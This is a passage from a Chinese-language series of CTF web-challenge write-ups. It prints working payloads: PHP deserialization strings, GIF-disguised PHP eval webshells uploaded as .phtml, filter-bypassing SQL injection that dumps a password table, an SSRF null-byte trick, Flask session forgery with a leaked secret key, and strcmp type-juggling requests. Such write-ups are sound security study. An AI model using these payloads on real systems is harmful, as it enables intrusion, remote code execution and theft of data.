        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>
```

在执行`__destruct()`的时候，如果`password=100`，`username=admin`，可以获得flag，构造序列化：

```php
<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>
```

得到的序列化为:

```
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
```

`Name`旁边有两个不可显示字符没有显示出来。在反序列化的时候会首先执行`__wakeup()`魔术方法，但是这个方法会把我们的`username`重新赋值，所以我们要考虑的就是怎么跳过`__wakeup()`，而去执行`__destruct`，跳过`__wakeup()`：在反序列化字符串时，属性个数的值大于实际属性个数时，会跳过`__wakeup()`函数的执行：

```
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
```

删掉不可见字符，`private`声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上`0`的前缀。字符串长度也包括所加前缀的长度，改造一下序列化：

```
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
```

输入url：

```
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
```

得到flag。

References

https://segmentfault.com/a/1190000022534926

[极客大挑战 2019]Upload

新建php文件，上传。

```
<?php @eval($_POST["password"]);?>
```

网页提示：必须是图片

所以新建`1.php.jpg`文件，写入：

```
<?php @eval($_POST["password"]);?>
```

上传，网页提示，文件包含`<?`。

```
NO! HACKER! your file included '<?'
```

查阅资料，发现一句话木马，文件头表示一幅图片。

```
GIF89a <script language="php">eval($_POST['shell']);</script>
```

新建`1.phtml`文件，填入一句话木马，上传。

附常见的php后缀：

php2, php3, php4, php5, phps, pht, phtm, phtml

References：

https://blog.csdn.net/rfrder/article/details/109225258

用`burp`拦截：

```
POST /upload_file.php HTTP/1.1
Host: cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Content-Length: 357
Cache-Control: max-age=0
Origin: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBByTX7Iv10xXTIlV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82
 Safari/537.36 Edg/89.0.774.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: application/octet-stream

GIF89a
<script language="php">eval($_POST['shell']);</script>
------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="submit"

æ  äº¤
------WebKitFormBoundaryBByTX7Iv10xXTIlV--
```

修改文件类型为：

```
POST /upload_file.php HTTP/1.1
Host: cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Content-Length: 357
Cache-Control: max-age=0
Origin: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBByTX7Iv10xXTIlV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82
 Safari/537.36 Edg/89.0.774.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

GIF89a
<script language="php">eval($_POST['shell']);</script>
------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="submit"

æ  äº¤
------WebKitFormBoundaryBByTX7Iv10xXTIlV--
```

这样上传就会成功。

猜测上传路径为

```
upload/1.phtml
```

利用蚁剑空白区域右击添加数据，设置如下：

```
URL地址  http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/upload/1.phtml
连接密码 shell
网站备注
编码设置 UTF8
连接类型 PHP
```

其他不变。密码可以随便设置，要跟`eval($_POST['shell']);`一致。

连接后查看网站文件，在根目录发现flag。

[极客大挑战 2019]BabySQL

输入

```
1'
```

网页显示：

```
Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the r
ight syntax to use near '1'' at line 1
```

说明查询语句单引号闭合。

我们先判断列数：

```
1' order by 3 #
```

网页显示：

```
Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the r
ight syntax to use near 'der 3 #' and password='1'' at line 1
```

注意到`order`的`or`，和`by`被过滤了。猜测是被replace函数替换成了空字符。可以双写绕过：

```
1' oorrder bbyy 3 #
```

没有报错，再输入：

```
1' oorrder bbyy 4 #
```

网页报错：

```
Error!
Unknown column '4' in 'order clause'
```

说明有三个字段。

使用`union`查询回显点位：

```
1' union select 1,2,3#
```

网页回显：

```
Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the r
ight syntax to use near '1,2,3#' and password='1'' at line 1
```

发现`union`和`select`都被过滤了，所以考虑双写绕过：

```
1' ununionion sselectelect 1,2,3#
```

网页回显：

```
Login Success!
Hello 2!
Your password is '3'
```

说明回显点位为2和3，查询当前数据库名及版本：

```
1' ununionion sselectelect 1,database(),version()#
```

网页回显：

```
Login Success!
Hello geek!
Your password is '10.3.18-MariaDB'
```

查询数据库`geek`里面的表名：

```
1' ununionion sselectelect 1, 2, group_concat(table_name) from information_schema.tables where table_schema='gee
k' #
```

网页回显：

```
Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the r
ight syntax to use near '.tables table_schema='geek' #' and password='1'' at line 1
```

说明`where`，`from`被过滤了，考虑双写绕过：

```
1' ununionion sselectelect 1, 2, group_concat(table_name) frfromom information_schema.tables whwhereere table_sc
hema='geek' #
```

网页回显：

```
Error!
Table 'infmation_schema.tables' doesn't exist
```

`or`也被过滤了：

```
1' ununionion sselectelect 1, 2, group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_
schema='geek' #
```

网页回显：

```
Login Success!
Hello 2!
Your password is 'b4bsql,geekuser'
```

查询数据库`geek`中表`b4bsql`中所有字段名称，补全必要的双写绕过：

```
1' ununionion selselectect 1, 2, group_concat(column_name) frfromom infoorrmation_schema.columns whewherere tabl
e_schema='geek' aandnd table_name='b4bsql' #
```

网页回显：

```
Hello 2!
Your password is 'id,username,password'
```

查询数据库`geek`中表`b4bsql`中`password`字段的值，补全必要的双写绕过：

```
1' ununionion selselectect 1, 2, group_concat(passwoorrd) frfromom geek.b4bsql #
```

网页回显：

```
Login Success!
Hello 2!
Your password is 'i_want_to_play_2077,sql_injection_is_so_fun,do_you_know_pornhub,github_is_different_from_pornh
ub,you_found_flag_so_stop,i_told_you_to_stop,hack_by_cl4y,flag{404818fd-bcde-4003-979c-59ac0de9d6ff}'
```

得到flag。

References

https://blog.nowcoder.net/n/82c9495f79944e819edf38dd6ccbe71c

[极客大挑战 2019]LoveSQL

[ACTF2020 新生赛]Upload

进网站看见灯泡。

上传php文件，提示上传的文件只能以.gif .jpg .png结尾。

新建1.git文件，写入：

```
GIF89a
<script language="php">eval($_POST['shell']);</script>
```

用burp拦截：

```
POST / HTTP/1.1
Host: 94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Content-Length: 346
Cache-Control: max-age=0
Origin: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLh8rQpr1L4KwIAml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="upload_file"; filename="1.gif"
Content-Type: image/gif

GIF89a
<script language="php">eval($_POST['shell']);</script>
------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryLh8rQpr1L4KwIAml--
```

改为：

```
POST / HTTP/1.1
Host: 94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Content-Length: 346
Cache-Control: max-age=0
Origin: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLh8rQpr1L4KwIAml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
Content-Type: image/gif

GIF89a
<script language="php">eval($_POST['shell']);</script>
------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryLh8rQpr1L4KwIAml--
```

然后发送，网页发现页面回显上传的文件的相对路径：

```
嘿伙计，你发现它了！ 1.gif
Upload Success! Look here~ ./uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml
```

利用蚁剑空白区域右击添加数据，设置如下：

```
URL地址  http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml
连接密码 shell
网站备注
编码设置 UTF8
连接类型 PHP
```

其他不变。密码可以随便设置，要跟$_POST[“shell”]一致。

连接后查看网站文件，发现flag。

[ACTF2020 新生赛]BackupFile

进入网站提示：

```
Try to find out source file!
```

用`dirsearch`扫描网页，输入命令：

```
python dirsearch.py -u http://2e597051-4127-46a9-90f4-45dab9e5f8cf.node3.buuoj.cn/ -e * -x 429,503 -w db/mylist.txt
```

发现`index.php.bak`文件，下载后查看`php`源码：

```php
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
```

`intval()` 函数用于获取变量的整数值。

`intval()` 函数通过使用指定的进制 `base` 转换（默认是十进制），返回变量`var`的`integer`数值。 `intval()`不能用于`object`，否则会产生`E_NOTICE`错误并返回`1`。

```php
<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>
```

php中两个等于号是弱等于取`str`的`123`与`key`进行比较，（弱比较：如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且比较按照数值来进行，在比较时该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为`0`。所以直接传入`key=123`就行）。

输入url：

```
/?key=123
```

得到flag。

References

https://blog.csdn.net/weixin_45674567/article/details/106412484

[GKCTF2020]cve版签到

进入网站显示：

```
View CTFHub
You just view *.ctfhub.com
```

点击View CTFHub，用burp Suite拦截。

```
GET /?url=www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
```

You just view *.ctfhub.com 就是只能访问ctfhub.com，但我们又想访问内网，所以用%00绕过，修改请求：

```
GET /?url=http://127.0.0.1%00www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
```

响应：

```
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 15 Mar 2021 17:30:01 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 384
Connection: close
Hint: Flag in localhost
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.15

<pre>Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Mon, 15 Mar 2021 17:30:15 GMT
    [2] => Server: Apache/2.4.38 (Debian)
    [3] => X-Powered-By: PHP/7.3.15
    [4] => Tips: Host must be end with '123'
    [5] => Vary: Accept-Encoding
    [6] => Content-Length: 113
    [7] => Connection: close
    [8] => Content-Type: text/html; charset=UTF-8
)

<!--
 Venom åœ¨ç¤¿æ‹›äº¤
-->
```

响应提示只能用127.0.0.123访问，修改请求：

```
GET /?url=http://127.0.0.123%00www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
```

响应：

```
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 15 Mar 2021 17:31:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 399
Connection: close
Hint: Flag in localhost
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.15

<pre>Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Mon, 15 Mar 2021 17:31:54 GMT
    [2] => Server: Apache/2.4.38 (Debian)
    [3] => X-Powered-By: PHP/7.3.15
    [4] => FLAG: flag{683033ab-dfd0-4df8-8b04-008ecd22917a}
    [5] => Vary: Accept-Encoding
    [6] => Content-Length: 113
    [7] => Connection: close
    [8] => Content-Type: text/html; charset=UTF-8
)

<!--
 Venom åœ¨ç¤¿æ‹›äº¤
-->
```

得到flag。

[HCTF 2018]admin

方法一

进入网页，显示：

```
hctf
Welcome to hctf
```

按F12，发现注释：

```
<!-- you are not admin -->
```

说明我们要以admin的身份登录。尝试以弱密码123，结果登陆成功。

方法二 Unicode欺骗

用`test`为用户名注册一个账号，再进入修改密码页面，按`F12`，发现注释：

```
<!-- https://github.com/woadsl1234/hctf_flask/ -->
```

再GitHub上面下载源码，查看`change`，`register`，`login`函数：

```
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)
```

```
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)
```

```
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)
```

发现转化名字的时候会使用`strlower`函数，但一般python转小写都用`lower()`函数，这里可能有问题。

查看`strlower`函数：

```
**def strlower(username):
    username = nodeprep.prepare(username)
    return username**
```

使用了`nodeprep.prepare()`函数，源于`twisted`库。

References

https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/

使用https://unicode-table.com/cn/blocks/phonetic-extensions/ 这里面的特殊字母，`nodeprep.prepare()`函数可以对字母做出如下操作：

```
A -> A -> a
```

所以我们想到攻击链

- 注册用户`Admin`
- 登录用户`admin`，变成`Admin`
- 修改密码`Admin`，更改了`admin`的密码

方法三 session伪造

查看源码，发现：

```
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}
```

先注册一个账号，以test为用户名登陆，`flask`的`session`都是在本地的，通过一个`SECRET_KEY`进行签名，可以伪造`session`绕过。

序列化`session`的主要过程，序列化的操作分如下几步：

1. `json.dumps`将对象转换成`json`字符串，作为数据
2. 如果数据压缩后长度更短，则用`zlib`库进行压缩
3. 将数据用`base64`编码
4. 通过`hmac`算法计算数据的签名，将签名附在数据后，用“.”分割

第4步就解决了用户篡改`session`的问题，因为在不知道`secret_key`的情况下，是无法伪造签名的。

References

https://www.leavesongs.com/PENETRATION/client-session-security.html

使用脚本解码`session`，`flask`的特点是将`session`保存在`cookies`中，按`F12`，在应用程序-cookies里面找到`session`：

```
.eJxFkMFqwkAQhl-lzNnDuuYkeKisSoXZENkk7Fyk1ejuJKuQREwjvnsXKe1pDv983zD_A_antuoczPv2Vk1g748wf8DbF8whLTOpy12wvBqsaZy
VmdAKE8vZQLyscaSgzdHhZu1Jxb3SflOJQnOckUGzcxTyKRrttbJ35PdBlx_SGnKpOgjkxqGhmjaRNY3HTdGQOrIe62i2UwrUaJmL1Gx9qgpvw5Z
RrhIy5xmaNVtZBDui1NIu4DmBQ9ee9v21ri7_L6jzTI-Hux6XLi1xFvGRzDYgr5KoZeKGU5XHc3mCXLDlXOhs8dL58Hmu_kworoP5TS6fIQbQV10
PE7h1VfuqDaYCnj-v7m2U.YFFnqA.ld6oFaRI5xwVxPlp8gqKDjVT3kw
```

使用脚本解码`session`。

References

https://github.com/noraj/flask-session-cookie-manager

运行脚本，输入：

```
python flask_session_cookie_manager3.py decode -c .eJw9kMGKwkAQRH9l6bOHJJrDCh42zCgu9ISV0dB9EY0xzkziQhKJjvjvG13wV
NBVvKbqDttjU7QnmHbNpRjB1hxgeoePPUyBhQuUyAPSyUlpupF3EWXLGH0Zs64c2cRxjT1G8kb221Eme2W_JmwxxAVbFjRGPzdcLyMWqxPbPMDsZ
_xkoU8MCjapljHZuXn-IJ9fWa97zDBS3sVo2VG9HthcqUFTQYF6secGNQXkKVS27FGsZ_AYQd42x23364rzuwJmmyrN5CQVlVFWDvHcKyFDilZmu
IdK4JV8MmRWjqJNjZor7GcvnKl3ZfEmHeRnuC__nfOuHgzoiraDEVzaonnNBmEAjz8-fWz5.YFIK-g.Ddh72dq63YJgfOI9c-n1SHto9wg
```

输出：

```
{"_fresh":true,"_id":{" b":"ZDk0NDc0YTBhNTYyYzk2YWI5Mzg5ZTlkYjBkZmMwM2EyYjJkYWEwNjA4ZjM1MGZjZDY3MzFiZmI2ZDRhZjc0
MWQ3NTYyMzBiMDZiOTE5YjFiYTBhYzcxZTUwMWM2Nzk5MjZkYmUyYjZlNmUyODY0NjM1MGFiMTY0YzY1NjgwMDU="},"csrf_token":{" b":"M
WVlOWE4ODliNjE1NjczNDE1Y2RiOWE1NDMxYzBlOWRkY2VmMTZlMw=="},"image":{" b":"dE91bg=="},"name":"test","user_id":"10"
}
```

发现当前是以用户名`test`登录，可以尝试将其修改为`admin`后重新签名。

在`config.py`文件里发现：

```
import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True
```

发现`SECRET_KEY`泄露，用`ckj123`签名，输入：

```
python flask_session_cookie_manager3.py encode -t "{'_fresh':True,'_id': b'd94474a0a562c96ab9389e9db0dfc03a2b2da
a0608f350fcd6731bfb6d4af741d756230b06b919b1ba0ac71e501c679926dbe2b6e6e28646350ab164c6568005','csrf_token':b'1ee9
a889b615673415cdb9a5431c0e9ddcef16e3','image':b'tOun','name':'admin','user_id':'10'}" -s ckj123
```

注意把`_id`和`csrf_token`的值`base64`解码，把这两个`key`后面的花括号删掉，把双引号改成单引号，还有把`true`改为`True`。

输出：

```
.eJw9kEGLwjAQhf_KMmcPbbWHFTxsSRQXJmUlWmYuorXWJI0LValG_O9bXfD0YN7jG967w3rfVqcDjM_tpRrA2uxgfIePLYyBhYuUKCPS2UFpulF
wCRXzFEOdsm4c2cyxxw4TeSP77aiQnbJfI7YY44wtCxpimBr284TF4sC2jLD4GT5ZGDKDgk2uZUp2ap4_KJRX1ssOC0xUcCladuSXPZsb1WsuKFI
v9tSgpogCxcrWHYrlBB4DKE_tfn3-ddXxXQGLVZMXcpSLxigr-3gZlJAxJQvT32Ml8Eoh6zMLR8nKo-YGu8kLZ_ymrt6knfyMt_W_c9z43oDNzps
jDOByqtrXbhBH8PgDq1ltQg.YFIMgw.9iLYmhLVnAx7uyaVbCnkfoDEchs
```

用burp Suite构造请求：

```
GET /index HTTP/1.1
Host: 78743fde-04ab-4167-9bdb-2d5c2c243426.node3.buuoj.cn
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://78743fde-04ab-4167-9bdb-2d5c2c243426.node3.buuoj.cn/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: session=.eJw9kEGLwjAQhf_KMmcPbbWHFTxsSRQXJmUlWmYuorXWJI0LValG_O9bXfD0YN7jG967w3rfVqcDjM_tpRrA2uxgfIePLYy
BhYuUKCPS2UFpulFwCRXzFEOdsm4c2cyxxw4TeSP77aiQnbJfI7YY44wtCxpimBr284TF4sC2jLD4GT5ZGDKDgk2uZUp2ap4_KJRX1ssOC0xUcCl
aduSXPZsb1WsuKFIv9tSgpogCxcrWHYrlBB4DKE_tfn3-ddXxXQGLVZMXcpSLxigr-3gZlJAxJQvT32Ml8Eoh6zMLR8nKo-YGu8kLZ_ymrt6knfy
Mt_W_c9z43oDNzpsjDOByqtrXbhBH8PgDq1ltQg.YFIMgw.9iLYmhLVnAx7uyaVbCnkfoDEchs
Connection: close
```

响应：

```
<h1 class="nav">Hello admin</h1>

<h1 class="nav">flag{a993f74f-6031-4b15-80f6-6dbe7877b0e5}</h1>

<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

<script type="text/javascript">
    $(document).ready(function () {
       // 点击按钮弹出下拉框
       $('.ui.dropdown').dropdown();

       // 鼠标悬浮在头像上，弹出气泡提示框
       $('.post-content .avatar-link').popup({
         inline: true,
         position: 'bottom right',
         lastResort: 'bottom right'
       });
     })
   </script>
   </body>
  </html>
```

得到flag。

References

https://darkwing.moe/2019/11/04/HCTF-2018-admin/

https://www.cnblogs.com/chrysanthemum/p/11722351.html

[极客大挑战 2019]BuyFlag

打开网页侧边栏，进入`PAYFLAG`页面，按`F12`，发现注释代码：

```
<!--
 ~~~post money and password~~~
if (isset($_POST['password'])) {
 $password = $_POST['password'];
 if (is_numeric($password)) {
  echo "password can't be number</br>";
 }elseif ($password == 404) {
  echo "Password Right!</br>";
 }
}
-->
```

发现要发送`password`与`money`的`POST`请求，如果按照要求`money=100000000`，网页返回长度有问题，猜测是`strcmp`函数检测的。绕过`strcmp()`函数漏洞，这一个漏洞适用与5.3之前版本的php

示例代码：

```
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0)
die('Flag: '.$flag);
else
print 'No';
}
?>
```

使用`GET`方法获取参数`a`，使用`strcmp()`函数比较`$flag`与用户输入的值。传入的期望类型是字符串类型的数据，但是这个函数当接受到不符合字符串类型的参数就会发生错误，并返回`0`，所以我们只需要提交一个非字符串类型的参数即可使得判断条件成立，比如使用数组类型。因为`strcmp()`无法比较数组，则报错并返回`0`，`0==0`成立，则输出flag。

发送请求：

```
POST /pay.php HTTP/1.1
Host: ab1afc64-94ca-4af2-9725-8990b07e1a09.node3.buuoj.cn
Content-Length: 32
Cache-Control: max-age=0
Origin: http://ab1afc64-94ca-4af2-9725-8990b07e1a09.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://ab1afc64-94ca-4af2-9725-8990b07e1a09.node3.buuoj.cn/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: user=1
Connection: close

password=404%0A&money[]=1
```

得到flag。最简请求：

```
POST /pay.php HTTP/1.1
Host: ab1afc64-94ca-4af2-9725-8990b07e1a09.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: user=1
Content-Length: 25

password=404%0A&money[]=1
```

References

https://crayon-xin.github.io/2018/05/21/strcmp字符串比较绕过/

https://segmentfault.com/a/1190000022537069

[SUCTF 2019]CheckIn

题目提示有github源码，但比赛时肯定没有源码。先试一下常规方法，上传`php`文件，发现不行。改成其他如`.aaa`后缀名，提示：`&lt? in contents!`，说明不能有`<?`符号，存在黑名单过滤，把文件内容换一下，发现回显：`exif_imagetype:not image!`，猜测后端调用了php的`exif_imagetype()`函数，这个可以添加图片文件头绕过，新建`.jpg`文件，写入：

```
GIF89a
test
```

